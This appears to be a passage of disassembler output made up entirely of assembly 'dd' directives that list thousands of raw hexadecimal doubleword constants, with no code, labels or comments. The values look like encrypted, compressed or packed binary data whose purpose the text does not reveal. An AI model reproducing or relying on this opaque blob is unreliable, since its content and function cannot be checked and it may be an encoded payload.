		dd 1DAA2Ah, 96BAB140h, 6F3E3FF0h, 90F69118h, 762DA685h
		dd 0D1E40F20h, 4291B204h, 70D4C609h, 4827A4Ah, 0D1047997h
		dd 1AC41921h, 4DB70120h, 0A5367399h, 51703025h,	9E891461h
		dd 4052352h, 0C8120124h, 5641767Ch, 2782B024h, 30F135B3h
		dd 0B718D0D9h, 3C56DB07h, 0D8E07515h, 1E36C8Fh,	9BF3BA8Bh
		dd 60961193h, 0DF40068Ch, 0CB8D4FDEh, 0C0DD88ACh, 0C907258h
		dd 965CA509h, 5348423h,	0B35A44ACh, 302BB2C8h, 2C011DDCh
		dd 9E6B9750h, 1D3F3E6Ch, 0D0C5654Ch, 59305925h,	745A183Fh
		dd 0B6C30515h, 1C9A2B9h, 66530F80h, 0D260830Eh,	1616DC1Bh
		dd 0C264EA58h, 0B7D5E8C8h, 3A31608h, 480EE385h,	9B361900h
		dd 3EE538D9h, 6FB31667h, 88B08E54h, 42A1C0D0h, 277F770h
		dd 2624B301h, 10C9B2EFh, 0EA50D92Bh, 0E2007C72h, 0D713E0DEh
		dd 7FF115h, 0A04396BDh,	0A10DF241h, 10A0664Fh, 0B1C80B9Dh
		dd 0F8FBCD32h, 4B3477D0h, 4BE09D2Eh, 0C33E8808h, 6788B4B0h
		dd 1C09AB9Ah, 716BDB83h, 0D83572DCh, 0A06F6697h, 9D785F00h
		dd 299FD480h, 0C83F7B02h, 68B4CAA9h, 4B7232B4h,	84808807h
		dd 0B6C410E9h, 3C25BDE7h, 0E014B6E4h, 9EEE6D1h,	8034DB5Dh
		dd 343AFC91h, 9A0A6828h, 0DBAEB99Eh, 6405F020h,	6C308F8h
		dd 0ECB848BDh, 2DC3302h, 5CF7C02Eh, 39C350F0h, 0DAF16099h
		dd 0D114D918h, 48FA092h, 64829E08h, 2B6C72AFh, 608C5C29h
		dd 0FBBBE11Fh, 98CE1C5Fh, 38C03FC8h, 16C8B595h,	0E042A940h
		dd 80BC3AACh, 1C60E1DCh, 0E0DD165Fh, 258092B6h,	668034D4h
		dd 5E5BBB21h, 91D10BF1h, 0C0D23294h, 0F368C295h, 0D82370E4h
		dd 0BB252200h, 3A3CE34Dh, 9F3402D1h, 11E67E4h, 0BE4A5CE0h
		dd 0E8E7E125h, 4E0D7730h, 0F1A4B61Ah, 4AF0A97Eh, 91CA2CCFh
		dd 0BC7A926Ch, 9CFC7F38h, 415C9A97h, 9F186E04h,	9575F008h
		dd 975D70A3h, 9FF03Fh, 44986360h, 77497971h, 7362515h
		dd 89478EEh, 8E3000DCh,	357E1D9h, 0AA029D65h, 0D134F69Ah
		dd 2F45403Ah, 97ADE8E5h, 3F6D2C41h, 74C014C8h, 0A9530220h
		dd 9F07AD8Bh, 0A241A87Eh, 0AC052889h, 721625A0h, 0DF8D01E0h
		dd 13D0BB8Bh, 0B14BECA7h, 732EC170h, 77099232h,	0EFCC447Dh
		dd 3D134ED0h, 6700A0C8h, 0A62B6E39h, 37B574C4h,	8EF109B4h
		dd 0E725CCF0h, 0A7CC7BC3h, 9F009435h, 0BCC81E80h, 1C30DE2h
		dd 30212D24h, 9000B3B9h, 0F707F833h, 16D3AF9h, 0BAC5F1A9h
		dd 0D26E99DCh, 0AC0214DAh, 256CA883h, 5760CA3Fh, 0AC408C1Ah
		dd 5C82D1CEh, 0D00660D0h, 1B6B2A94h, 0E48C6529h, 1BF16021h
		dd 9A4D023Eh, 7EAA545Bh, 917CB557h, 0BE608022h,	8EEFD9Fh
		dd 35B233F2h, 3208C02Ch, 531705E7h, 5EAF4Ah, 0E5D2131Eh
		dd 860E90F3h, 6E6048D8h, 32950E7Bh, 0F480AE4Eh,	3F6BE3CCh
		dd 0B848496Fh, 0A57DF403h, 0F1A2C26Ch, 86273050h, 0CF304705h
		dd 56858451h, 7A2828AFh, 0D5F66C77h, 34008971h,	67AF8B1Dh
		dd 34E16A72h, 0AE3107B1h, 92AAA420h, 0B8AE48Bh,	677D3671h
		dd 0BAC43488h, 0B1FDF450h, 939B0074h, 83658FC9h, 3792BE14h
		dd 14632484h, 706C7369h, 640BFA44h, 6854D2Fh, 584E2Dh
		dd 0E0839B54h, 0ABD2C897h, 78E68D4Bh, 44BC09B0h, 0B10FC81Ch
		dd 4AC0F7C2h, 2D2070A2h, 7CB7AC0Ah, 575F7700h, 46893B0h
		dd 8EB19748h, 1039AF18h, 0A2A8C03Dh, 6516A00Ah,	0C14BACC2h
		dd 56104D6Ch, 0EC41B2B9h, 34E631F0h, 0F9A10125h, 226B8C8h
		dd 0AA828E7Bh, 0A85EF51Eh, 354B77h, 373B0387h, 9D844490h
		dd 6A811205h, 0C774B45Ah, 9E383901h, 4DC2891Bh,	6D871887h
		dd 12331ACh, 0C8DC2F76h, 0CFCE4B99h, 0C0DA886Ch, 19CAA168h
		dd 4AE8883Bh, 0C588ECE2h, 46884EA5h, 0DF087769h, 70A6B692h
		dd 0DF3F717Ah, 73A405E6h, 20BE3381h, 0BC21B670h, 0FF5E7624h
		dd 0ECA68A00h, 96B8762h, 88B1A99Ch, 0DB008859h,	0F7376F82h
		dd 11A60363h, 0D376A865h, 46922D90h, 0B99DCD01h, 1B25AACEh
		dd 0B890843Eh, 0B8C8D7ACh, 49840FBEh, 7B00E1F6h, 5836995Dh
		dd 0EC9397h, 304E20CAh,	738B3E53h, 0FFF3BB00h, 0FAAC793h
		dd 0CD490C65h, 77694DA2h, 0E32A970Ah, 0A0990EFh, 42285ECEh
		dd 7C641656h, 68439E00h, 0EF22EC3Eh, 89460051h,	0BB5A65C3h
		dd 0C47AD897h, 0BC69FA01h, 18E06739h, 0CC3555D2h, 0F6803C91h
		dd 6887A1AFh, 0BF28125h, 9E580260h, 0BE4860D6h,	0EC26573Ah
		dd 0D05DB2A1h, 8C1F0E1Fh, 5A929685h, 8D01DCF7h,	0B14AEEB4h
		dd 3E881B55h, 998531C0h, 9B64921Bh, 10667860h, 0C960689Ch
		dd 1C0EFF64h, 6C1A5297h, 0FA7A89BCh, 6A0C44F9h,	0E92ABCh
		dd 2211AF39h, 505A9103h, 30FC9651h, 164BDA50h, 729754CCh
		dd 0F433E9F1h, 703126A2h, 31C69088h, 0ADAC7B25h, 2B64E845h
		dd 0C0C41F60h, 8905B70Bh, 5424ABEAh, 9D2E17ECh,	85E030B8h
		dd 44A7E09Ch, 0F29600F4h, 0CEB6C7FFh, 1E244091h, 0A30F9DEEh
		dd 11E7E1D2h, 0C607778h, 0B3BF2906h, 403000BCh,	552CE671h
		dd 44DC7E00h, 6ABFE954h, 0C7AA0h, 0CB2AEAF8h, 8598C479h
		dd 976D9007h, 73412CEEh, 9F2BF0A8h, 47CAC050h, 429A3297h
		dd 0C512100Eh, 0A3E89D01h, 0ECDA982Dh, 0D64E9289h, 622DACE2h
		dd 0A1A004DBh, 858B0F00h, 94AAAB6Bh, 7A9E131Ah,	8048E8A8h
		dd 5CE0F1F2h, 6587059Ch, 50BB08h, 7518DFB5h, 0BA972AABh
		dd 59B879ACh, 0F2B18DFh, 9060B90Bh, 0E2813643h,	2D28F98Ch
		dd 0DB6089EAh, 672270ACh, 6F3C6AE0h, 0FB2FA5C2h, 0D4D30010h
		dd 5658DF8Fh, 1163021Dh, 832DDB80h, 0B059BC06h,	2758A5FCh
		dd 225024F3h, 272FE78Ah, 212A860Ch, 0D2B04400h,	5C246D45h
		dd 0F95F0011h, 2FB1D0A9h, 950BAAC4h, 0FA645652h, 37871244h
		dd 0A2D0B849h, 40652947h, 0D96027E4h, 0E904AA21h, 7030BD5Ch
		dd 0DCAC08BDh, 8B98028Ch, 1997DF10h, 22C4A8E7h,	49E6760h
		dd 8B2A2307h, 12A2C886h, 259058CAh, 148D765Ah, 38C12F79h
		dd 9500E596h, 9CA8324Ah
		dd 976316h, 4C83AFE0h, 0BCDAE6DEh, 7B02DC0Ch, 5807C7B1h
		dd 6B0C60C8h, 0D9BA256Fh, 0A4902C5Ah, 260FAE11h, 0ADF16E0Eh
		dd 0F8319D80h, 0F3986A72h, 0DAB05A1Fh, 747127h,	7FA50FC9h
		dd 870022D7h, 425EAA74h, 2FE0ADB2h, 4CA20CB0h, 0CC28E794h
		dd 70045327h, 3E001579h, 6C59A726h, 5DF5A2EFh, 0F24A341Ah
		dd 46042EF8h, 9841B600h, 1DC45703h, 82EE0BA0h, 8A3BB0F8h
		dd 11181DFFh, 0B9B78032h, 0F9A2075h, 78FF977Ch,	25939607h
		dd 0B43AFB32h, 0A22D8C7Ah, 744D109h, 90FEEC32h,	0E9C582EAh
		dd 119C240Fh, 0BEB78083h, 585A596h, 0DB8B55BFh,	0B8E4EDDAh
		dd 0BF5C09F5h, 68DE4BD2h, 0F9B7740Bh, 345483D0h, 0E6ED288Bh
		dd 0F3AD0054h, 93759256h, 153400A8h, 16088D5Ah,	88A8AC6Ah
		dd 0BF90387Ah, 37AA5725h, 40531DD0h, 642C580Bh,	344B4910h
		dd 49F02CE6h, 0BF390C18h, 87930622h, 21370Eh, 0B41143EBh
		dd 0BB1B6218h, 0C283B21Bh, 60C4A2B0h, 0B5273578h, 80006C3Dh
		dd 6605D1B5h, 67A0CECh,	74210416h, 4E1F8400h, 0B382C419h
		dd 3BAE48BCh, 0C80B5C5Ch, 67CC0F5h, 0E258E800h,	4B76BE83h
		dd 2130CE3Bh, 7104A9ABh, 0AD2182Bh, 0E2359924h,	2A465C20h
		dd 0A0B10F18h, 678040FAh, 2A7A0008h, 9E856C4Bh,	18CB2C22h
		dd 3CD994h, 0F4FDE8EBh,	3000D046h, 0DCB2146Bh, 132DD565h
		dd 0F0B75Ah, 3A6E3964h,	71C02F0Ch, 6C7D969Dh, 606900D5h
		dd 79889BD7h, 0F6007258h, 6F3D2CCFh, 98025315h,	63E6050Fh
		dd 0C186B980h, 0B48E30h, 92D3138h, 3251B2E2h, 7958A05Eh
		dd 0E8FC8296h, 41CA00DCh, 6DDA1703h, 98039F02h,	32B1B6ABh
		dd 88804FE3h, 65008A74h, 0B9D79E44h, 1B1060Fh, 0B67F1213h
		dd 3AA163B3h, 0BA84305Dh, 3BEF9045h, 432239Ch, 0C1E05253h
		dd 449F0674h, 0D548C068h, 94B90C6Bh, 8501621Ch,	1D06EE1Ch
		dd 0E5771CCh, 875ABFF3h, 8184EC85h, 3B3105E0h, 29104C58h
		dd 6CECB5C5h, 0E87B4893h, 0F1F490Ch, 0C0FBBE59h, 36E3250Eh
		dd 285F5A6Fh, 65A0F8A7h, 20005C31h, 183D942h, 99B8123h
		dd 9C07F92Ch, 0A031C4C8h, 0C5EF1D12h, 13C594BCh, 0C0641362h
		dd 24048D44h, 87F8A497h, 5D8E99C0h, 0A4F1003Bh,	3A2394A6h
		dd 502E3228h, 0C02C2065h, 29D32A04h, 25233Bh, 78BFADC4h
		dd 6C1EB4BDh, 0A6E1C2h,	41DE818Bh, 0CC2BF194h, 808A1670h
		dd 9707A878h, 8522532h,	9D70747Ah, 0C2FE407h, 98F09BBAh
		dd 5D1B92h, 77E36D6Fh, 2CCC76B6h, 4871E2Ch, 1051FF1Bh
		dd 4B31C248h, 0B7E0DC81h, 204CF062h, 0F65A963Eh, 107C58C0h
		dd 9702DE36h, 92A9B626h, 0FDD8848h, 96853909h, 0D8C0EB4Ah
		dd 22CF72Bh, 87EA8205h,	0FC5EB9C8h, 9ECD949Eh, 90847125h
		dd 10FE25Ah, 0C566913Eh, 0B8A0242Fh, 0C3BC4898h, 0E9BC34CFh
		dd 842E555Ah, 5C49AED0h, 0E388F425h, 82F05B5Ah,	5700BFCEh
		dd 7753A759h, 31E52A0Eh, 8F316625h, 8EA088D0h, 673801C7h
		dd 2B4850FCh, 8A4364C8h, 98E00EDFh, 62D23AA1h, 2403B86Ah
		dd 0E78F9C5Eh, 867D6211h, 308BF76Eh, 0FAC07054h, 3DB68F9h
		dd 0E077205Ah, 9598BE3Ch, 58FAFBCDh, 0CB836C00h, 729131Fh
		dd 294A424h, 2D822A91h,	0B7D5E62Bh, 90AE00C8h, 7E76462Fh
		dd 9482D52Ch, 46748C26h, 491B0135h, 2F290BBAh, 4A9E2820h
		dd 7C9CF761h, 0E0D25227h, 4AADC68Ch, 811CDE12h,	0F98197DBh
		dd 6E78C02Bh, 115E55A2h, 593550C2h, 18267138h, 0FEB8C43Ch
		dd 5EC50930h, 30467E4Ch, 85F37100h, 923498B4h, 0B4400E5Ah
		dd 0A8B78B91h, 0C37400F0h, 4B076E11h, 2803F683h, 0E4297344h
		dd 0BCBCFCF4h, 7C35AB92h, 8DD43CAEh, 58B07395h,	4400FE2Ah
		dd 0BBC1B42h, 40EE9E84h, 0C23D6D22h, 220740F1h,	6F48D99Bh
		dd 44282260h, 0E8307913h, 836FF6F4h, 0D10B0ABDh, 2FCEE7Bh
		dd 0E7923806h, 21D90471h, 6608EC19h, 0BAAA683Dh, 42A098D1h
		dd 80FB95A0h, 8E25A683h, 0D030F368h, 2D00B776h,	2FF25B6Bh
		dd 9790E001h, 5074A4BAh, 5254656h, 51731D89h, 82FE9909h
		dd 57DD2698h, 2CA48497h, 3D7CE08h, 1E387687h, 0B9576582h
		dd 16119164h, 3846D03h,	6839D927h, 9FFCA88Dh, 789097BEh
		dd 0AE4AD0C8h, 0E64A28F2h, 5E2FE0B8h, 208202ECh, 58109AAAh
		dd 0CEB0997Fh, 6C06C311h, 8C2BBC7Ch, 0FC696305h, 28AF1094h
		dd 478A4EC4h, 6035441Ch, 551A021h, 95102DF2h, 0A08CC52Ah
		dd 565A9148h, 579F4882h, 39BA90B8h, 0E0F46780h,	35652547h
		dd 0FF447479h, 89B0095h, 208CEAC0h, 13143614h, 0B8709DFCh
		dd 0A8008C32h, 8C87FBC5h, 96429165h, 0B1860030h, 9D3D39F5h
		dd 69B981Dh, 0C1704DAFh, 0E048719Ah, 0B5ABFE5h,	0BDB2C0F0h
		dd 568D1468h, 0C9092B1Fh, 7A03AD81h, 926EB7D5h,	1D21FA04h
		dd 0C43F9A53h, 0C154B884h, 39963295h, 68302D2Fh, 8C26ACC8h
		dd 79ABF200h, 0E16BD4C8h, 0AF40BEBBh, 84007871h, 12464E2Eh
		dd 832A00D5h, 1D5EE37Dh, 0AD58FB66h, 8C36E884h,	82925300h
		dd 0E063995Eh, 72D0B3Ah, 54C7FE83h, 23602264h, 0C501E563h
		dd 0BC40339Eh, 802BE768h, 1706F90h, 4B0D610Eh, 0F8BC16A2h
		dd 239C2EB4h, 0D8BB0428h, 0A540C597h, 0B8943D30h, 9A9207B4h
		dd 0E4C57128h, 2328A10Bh, 3238A208h, 15B4B080h,	8123130h
		dd 20E86CC8h, 0EA950784h, 3E89A831h, 8084AC04h,	0E031FB84h
		dd 48DD2786h, 320054D9h, 87ABC24Ch, 99E6E8h, 0D5818B14h
		dd 3B53A2B1h, 0EAAE7F07h, 8E079DACh, 0FC916410h, 5E74A20Ah
		dd 575CDCACh, 4B13E12h,	117C402Dh, 9B6088AFh, 6C5BB02h
		dd 5E81B82Bh, 0F4C863B0h, 28BE5AC1h, 853416F8h,	88AF9424h
		dd 8A1F5250h, 30801965h, 46477CB6h, 547A3Fh, 0E9033B57h
		dd 4FE48C17h, 21A4E3Bh,	92F2B79Dh, 34377DD9h, 0FF758000h
		dd 75740BD2h, 0E532D7Fh, 2F6428C1h, 0B1E1A831h,	0BE82282Ch
		dd 6F012F4Ah, 0DB6A0E7Bh, 67C8764h, 0E0BF2632h,	147DE262h
		dd 34BDE163h, 2574852Ch, 9B564000h, 2E4F0F93h, 5C1070B0h
		dd 29E8ECABh, 0C5F8008Ch, 9BF7CE8Bh, 2C002B62h,	867385Ch
		dd 48F099B3h, 85814CCAh, 813F5AA6h, 45D88C80h, 9FD07989h
		dd 42BA2D98h, 40F204F0h, 0BD867403h, 0ED63F523h, 11E0C4F7h
		dd 0CC986BD9h, 98F1F44Eh, 35BCB02Ch, 70BD008Ch,	0DA6DC893h
		dd 8A263294h, 0D513063h, 5C2EF6E9h, 0A80F2200h,	3D406B1Eh
		dd 0E9AC79ADh, 0B4C355Dh, 845E78B6h, 9512C451h,	0FE0BDE84h
		dd 2623C83Eh, 0B4CFA91Fh, 981A2031h, 3BDD0D2Eh,	56832D0Fh
		dd 6E0A3FD7h, 2F7230A1h, 7A4B5831h, 0E62ED8F4h,	0A4E5B536h
		dd 0DCB1AE90h, 55299A6Dh, 65180321h, 0E1495A62h, 0C4342EB4h
		dd 83FD7080h, 0C46A5A9Eh, 0F828AE1Ch, 884C9C1Bh, 9C484AA9h
		dd 95301450h, 0C8D940F9h, 9A95BA18h, 0C40B7718h, 116F1C5Ch
		dd 0E0ACB692h, 1203228Fh, 0D124056Ah, 0DAC0A034h, 0AB7BEC60h
		dd 9230CB00h, 9AE93BF5h, 34E6B554h, 79785195h, 0C418DDh
		dd 0B6C65715h, 3844E8F1h, 3B58E1B5h, 61CCA820h,	6AAD1039h
		dd 3378F596h, 5ACB00BCh, 87B0257Bh, 0AFA9173Fh,	94820E02h
		dd 0E0C2F10Eh, 205F7796h, 0B6566314h, 0C5662589h, 348B8873h
		dd 204F28Dh, 0D795E89Ah, 5F766A6h, 0AC6B6D88h, 4B0F2923h
		dd 76A2034Ah, 5C62EFF2h, 75F042F7h, 0C802C8ABh,	0D872E0C2h
		dd 57823CFAh, 0CD57DC3Ah, 0DED44084h, 0B04865h,	0D126E235h
		dd 7C420EBh, 3D40C994h
		dd 0E020B70Ch, 0C7BB47C6h, 250ED6EAh, 60F63B40h, 0F3B04F3Dh
		dd 8B780B7Ch, 38F6DBDDh, 9509D410h, 0B7575D97h,	0E5131CE0h
		dd 7026470h, 0F5C8F18Bh, 45445EAEh, 2CAD16h, 0BA2A6F0Ah
		dd 582D49Fh, 7CD0D7EAh,	6C37AFC7h, 0AFEDB030h, 58B0B0C4h
		dd 4E714587h, 683C8D53h, 0E6AB25C0h, 4F60A710h,	179F9D51h
		dd 2CA13A98h, 767B009Bh, 45E3AC50h, 2100EE01h, 0E2CC3244h
		dd 1D547A8Eh, 0C280ABF6h, 2B873497h, 0C640387Fh, 0B55004CBh
		dd 809D30B9h, 0A8760580h, 41A26C17h, 312BA8A1h,	0D80864B4h
		dd 4225331Fh, 0B704EE1Dh, 520070C4h, 0BCCC6C5Bh, 4BD389ACh
		dd 220CCA3Bh, 782093ADh, 910532FDh, 0DAA9C889h,	630068ECh
		dd 0E567D894h, 855856DDh, 0E87C58C0h, 0AF008C2Ch, 6EB2C122h
		dd 9F1021BAh, 0A62B5468h, 49B3A40h, 0EC71E38Dh,	6F098ADh
		dd 0AA6D617h, 50E90C53h, 94124FB8h, 0DC0492C4h,	3403067Eh
		dd 494F1C8Fh, 0CC611C84h, 8C6BE929h, 3A690CACh,	0C2EC56D1h
		dd 9D012CDAh, 0A0298A34h, 523A204Ch, 833F68E5h,	0EFE55A20h
		dd 8C7A543Bh, 9B682107h, 0CAE2E283h, 44895585h,	0A440BC7Eh
		dd 1C5DC1FAh, 80E291CDh, 7303358Ch, 0DFEC7A1h, 0AC8EFD12h
		dd 67308F3h, 0AF7F9B84h, 4D9D68FBh, 5A80CEC0h, 8CFBD093h
		dd 0A2774Ah, 0B763EC00h, 0A5AE3E0Dh, 0F162F900h, 0E83530D0h
		dd 50716E0h, 0F40CBC9Bh, 28B29CA2h, 48777030h, 5A105CAAh
		dd 43B51CD9h, 6CC0D601h, 147CD1C2h, 0E918854Bh,	39BAC64h
		dd 0BDC832D2h, 1F908B9Ah, 4120BACFh, 96B9120Dh,	118E156h
		dd 6ED483ABh, 387C400h,	5E137A75h, 9C8F36Ah, 9DADDC31h
		dd 813E11B8h, 62A16581h, 0E05C082Ch, 0F2140CD3h, 1D958A89h
		dd 813F1114h, 675E09EAh, 0CAD8082Ah, 0FCD43417h, 2C5D6481h
		dd 85FF7C40h, 40E09F32h, 5682FA3Dh, 0D4732FC8h,	0BBA070h
		dd 51B18DDBh, 16D1CDB3h, 0D5A10660h, 31CE7Fh, 824195Eh
		dd 2ADE01B1h, 0DBB5A201h, 6EED9F6Dh, 0C8448E6Bh, 2681C024h
		dd 0AAA05D03h, 4CB49771h, 0F2B604DEh, 0AEC066BEh, 9BBAFC84h
		dd 97898008h, 447ED5Fh,	0A26F0E31h, 1C88ABD9h, 6D3840DEh
		dd 45B0C258h, 4C896BC8h, 804C9B3Eh, 99C2B72Fh, 30858119h
		dd 0F18050BCh, 9E8B16EEh, 0E7E08022h, 43428134h, 0A8D1E22Fh
		dd 822A9582h, 7AAD0035h, 7FA6D6Ch, 720F0D27h, 884800A4h
		dd 6E7B50A2h, 8005D818h, 15946270h, 9D0040E9h, 850F0AB1h
		dd 7200E8A3h, 0C21C4989h, 9963137Bh, 6AD800C8h,	733BF45Ch
		dd 1C67AA0Bh, 6B205E70h, 467098DBh, 91EECE25h, 0EEF4DE60h
		dd 7CF7A950h, 73B516CCh, 0E5E13CBCh, 2B882186h,	5AE158F6h
		dd 0A2B063FCh, 70093129h, 0C941E2E8h, 0D1F0DA2Ah, 0FAF3C080h
		dd 0E117F8h, 588BAC1Dh,	0ECBE893Eh, 64E0AA80h, 0E83D31BAh
		dd 78531F74h, 59C26E04h, 0D94AC0ACh, 0C12A88h, 95F132BAh
		dd 2CB0F1D2h, 4B91064h,	18125AC3h, 80CC9EABh, 493AE0F8h
		dd 8F312C41h, 373E0CF8h, 3548D751h, 8C24BCE8h, 2E1DDE00h
		dd 0B547F8EAh, 84FF3DBDh, 1239CA89h, 883D55h, 0DAD99DADh
		dd 1604A577h, 2319CA6Fh, 76868501h, 68282E2Fh, 37C58854h
		dd 2E742495h, 0AF8D0605h, 5C197000h, 97F24A95h,	24575009h
		dd 0B0525114h, 33610E58h, 48BE5FB1h, 116EAE8h, 6BB6CBA8h
		dd 0C5A3FE10h, 64202A84h, 8220EDBAh, 0B6E0A460h, 780067Ch
		dd 2819BF94h, 0CDB181BDh, 2FBEDBB3h, 4B3F32C8h,	3218E8AAh
		dd 34B882h, 2D97F5CDh, 15F1481Dh, 0B912165Fh, 0ECB5AC91h
		dd 857F2410h, 1E01E0F2h, 0FC125850h, 2992B515h,	524A81Ah
		dd 19DE5A94h, 0D897F0D3h, 9A0C787h, 0D2359D0Ch,	0F208557h
		dd 1C004CEAh, 0D0B00A10h, 9E155044h, 0B41781CCh, 38AA3972h
		dd 98A1825Ch, 1BEA8110h, 44F42B93h, 970E0036h, 69DAF72h
		dd 633A73EDh, 9F0717BDh, 0B26FE420h, 0E4F45405h, 3AB9C038h
		dd 0CD46C586h, 8EE1671Eh, 69B26D05h, 222D80ACh,	14DDF048h
		dd 805F7707h, 0A19C1581h, 0F29DA049h, 787A0Bh, 62103795h
		dd 0BEAE9BC3h, 0D48DE800h, 6C4FC766h, 0BC644A9Dh, 0A5F98868h
		dd 0D426470h, 1E07E11h,	0A684036Ch, 34745246h, 9E1286B7h
		dd 58BC37E2h, 2F0D30A1h, 21C82C8Eh, 0FD0218C0h,	0C63F0160h
		dd 767E08F6h, 5C3A2A8Ah, 89013123h, 3B621368h, 200439A7h
		dd 68CBABD9h, 3F8A9E08h, 0C2106700h, 7D71FFFAh,	35EF30ADh
		dd 0BDCAB740h, 0A4818092h, 10F63AF3h, 1F738AE0h, 0F4F3C126h
		dd 2254674h, 27A4284Fh,	3089D7CDh, 0D65856h, 5889BC79h
		dd 95EF9703h, 2C84A826h, 11049DA7h, 0E97180DAh,	3F65020h
		dd 0C9975BAh, 982DEE22h, 9C82014h, 4B63F2C9h, 3268C096h
		dd 85811B82h, 9E5A2EE8h, 7C4DEB70h, 3B9AB4C1h, 4055A830h
		dd 99106524h, 872537C2h, 296454CDh, 0EF2A9060h,	61C1BA7Dh
		dd 5D1A810Bh, 0FB0E100h, 9C0791C5h, 0FC006CADh,	6CDD836Dh
		dd 9D20B25h, 0E016A40Ch, 7210CBDCh, 7AC0C46Dh, 928A331Fh
		dd 60379FE4h, 0D6672509h, 9B01794h, 2CE4E151h, 108A4F44h
		dd 81C556DCh, 3222991Dh, 0AF63F892h, 7AFA4412h,	9290004h
		dd 7ECDAB9h, 3F309191h,	159FF880h, 952C04B6h, 423A3227h
		dd 50745638h, 978017C1h, 0A55E1249h, 884CE27Eh,	70CDAD21h
		dd 0A0BD9EC3h, 9D12B349h, 5CA56879h, 117B514Ch,	0B62B9DFFh
		dd 8B50E7CCh, 13252B2h,	0C888A648h, 84BAAEA9h, 0E6603870h
		dd 59B804FDh, 1DA60F00h, 0C112B027h, 976A3C10h,	2544BC4Ah
		dd 0D654DE8Ah, 9BAD2A0Fh, 0B65C207Eh, 0C9D226B9h, 647014A8h
		dd 9AAA14EDh, 0C02CC8A4h, 53133718h, 41A0F095h,	96846017h
		dd 54602741h, 0BD0C4AC5h, 0C86ED790h, 0C2EDFA0Ah, 0BA5030B1h
		dd 18056D39h, 0ADFE977Dh, 48801CFCh, 88102F9Fh,	0E800ADB0h
		dd 0D84C6322h, 7787CE7Dh, 9380C01Dh, 6B686EDCh,	0D5A3201h
		dd 496726B4h, 1F539E8h,	0FA8331BBh, 6A7E9E34h, 7AEF64D4h
		dd 0E9910F40h, 5E9FCB94h, 785E6934h, 2EC8465Eh,	8108EC40h
		dd 0B5AA06F4h, 600021EFh, 18B7642Ah, 0CD922C5h,	0FCF5B26Eh
		dd 0B510AD28h, 0F253FA9h, 0DBB03820h, 0EE015022h, 6F779EC7h
		dd 3DC8BB3Bh, 2A923DCCh, 0AC29082Fh, 1538A155h,	0DC68664Bh
		dd 7B28CD4Ah, 0F9053C6Eh, 0BA537FA1h, 8AEA7420h, 567800C0h
		dd 8C061B46h, 6102A0A5h, 0A9506E5Dh, 0D8405D26h, 79956D67h
		dd 561D1F58h, 8F00A8BAh, 7AFE328Dh, 98D00060h, 0FE404291h
		dd 0AC093FC2h, 3A53FC09h, 7BB66061h, 0E8385C6Fh, 2DB26F04h
		dd 20BC1622h, 94834909h, 6CD1C829h, 8D1822D9h, 0D0744D00h
		dd 0E335491Eh, 0AA5003B0h, 36926297h, 859E5804h, 0CC1D859h
		dd 0A800D54Ah, 6200C479h, 0AA6B9468h, 20E6D38h,	7886D882h
		dd 357D35BCh, 0C16A9F24h, 3EAE951Bh, 2C372EF1h,	0B68A292h
		dd 0B310F850h, 0F10B3DDBh, 20053730h, 788E4B5h,	0A092AE5Eh
		dd 0ACFA0Fh, 74B83892h,	197F70E1h, 640DDD03h, 8A939B94h
		dd 14AF57C9h, 6CE38301h, 7C403A3Dh, 0AAB087ACh,	44E0A772h
		dd 0AE116721h, 0D5F8F2FDh, 9A580B7Ah, 802EB54h,	0F872C052h
		dd 27EE1721h, 0E85024DBh, 0BDBF00C7h, 3F97B02Fh, 4428988Ah
		dd 197ED4AAh, 7478CCF4h, 0B9108D59h, 0B77CF8DFh, 0B8076237h
		dd 3803EFAAh, 71649F67h, 8A4E78CAh, 0C032C824h,	1F8E5E2Ah
		dd 0B4ADD029h, 0F51822D1h, 36022B7Dh, 46529284h, 8138696Ch
		dd 80E0892Fh, 751C9D31h
		dd 0B5990818h, 0AC1AF4E5h, 0DC985C99h, 0A5BF9F07h, 0EA00E7BBh
		dd 2A81D773h, 0A8E3B2h,	0A5BE7CFBh, 0FCBCBAE4h,	6A330301h
		dd 4016FF1Eh, 17187B2Fh, 0D8FC0B66h, 0D68DFB09h, 0DC48D80Eh
		dd 4D943D02h, 7978C106h, 2168CB2Bh, 6A1F62A0h, 1A588257h
		dd 59105E78h, 38190B36h, 0A062297Ah, 72341821h,	20B849F2h
		dd 0E7108C4Bh, 48CAC83Ch, 305980DCh, 0D4276Ah, 40ED5692h
		dd 0AA5EE255h, 0B1CC0E38h, 0D4FAE087h, 160C4422h, 26195182h
		dd 0E3ECCA5Ch, 0C541F499h, 2A2BBDC2h, 2C8940F3h, 739D0858h
		dd 0C8327000h, 0FCE1400h, 5B9C20A7h, 0A2B50913h, 205BF4D5h
		dd 8298298Bh, 0D23DDA80h, 2C0B9718h, 0BDDED45Ch, 2400B864h
		dd 0FC9A98FEh, 1A033110h, 78118682h, 4FDE1CD4h,	1FE2BC11h
		dd 229C2E9Ch, 6C804A7Ah, 4A6DC2B6h, 0A180BC10h,	2FBF07h
		dd 3A39C328h, 94E6BC0Ah, 11489D9Dh, 224C9F3Eh, 3CB912h
		dd 55FE823h, 973931D3h,	4FA5227h, 6BAB7850h, 7D02388h
		dd 80C68695h, 6F1D51D9h, 4E879602h, 40ABDA81h, 4B1A8930h
		dd 0C258D89Eh, 8390C99Dh, 0A62EB85Dh, 0EF2BA048h, 104D03DAh
		dd 9ABF9B60h, 8F24AFA8h, 5CCD984Bh, 8028DB3Eh, 4A35381Ah
		dd 0CD195AFh, 0A06471A5h, 63DE20A8h, 7510EAB5h,	2C60604Dh
		dd 88C7236h, 39B23294h,	9714782Dh, 0DD91C897h, 0F1E1FB80h
		dd 1C035CF2h, 32976EFDh, 4EA91D46h, 0C0E41A89h,	40A81A57h
		dd 83C9EE0Ch, 9DC5F022h, 0FE70C8D3h, 9E830978h,	0D8512382h
		dd 731830F9h, 54D17002h, 578B2CA3h, 52BEF810h, 1C1B0701h
		dd 8F15129Fh, 45EE1D0h,	3A24B830h, 45872B80h, 64F708Ah
		dd 0C05FF2B7h, 0E0BCBC12h, 1D8C2CECh, 92B42942h, 200BBA56h
		dd 485884h, 641D3492h, 0D079E9Ch, 97399BF8h, 7014F822h
		dd 0E8C45662h, 2B008C38h, 55F9D539h, 4AFD6AB6h,	0C44088FCh
		dd 0D85D7C18h, 9B9A70h,	2E778C41h, 0B262952Ah, 64E895F9h
		dd 0C2ED82A4h, 3EC85401h, 0EEEEA613h, 0DC23003Eh, 5431D900h
		dd 25965B84h, 0B04A8734h, 35EE55C0h, 400281D3h,	113E2E6Eh
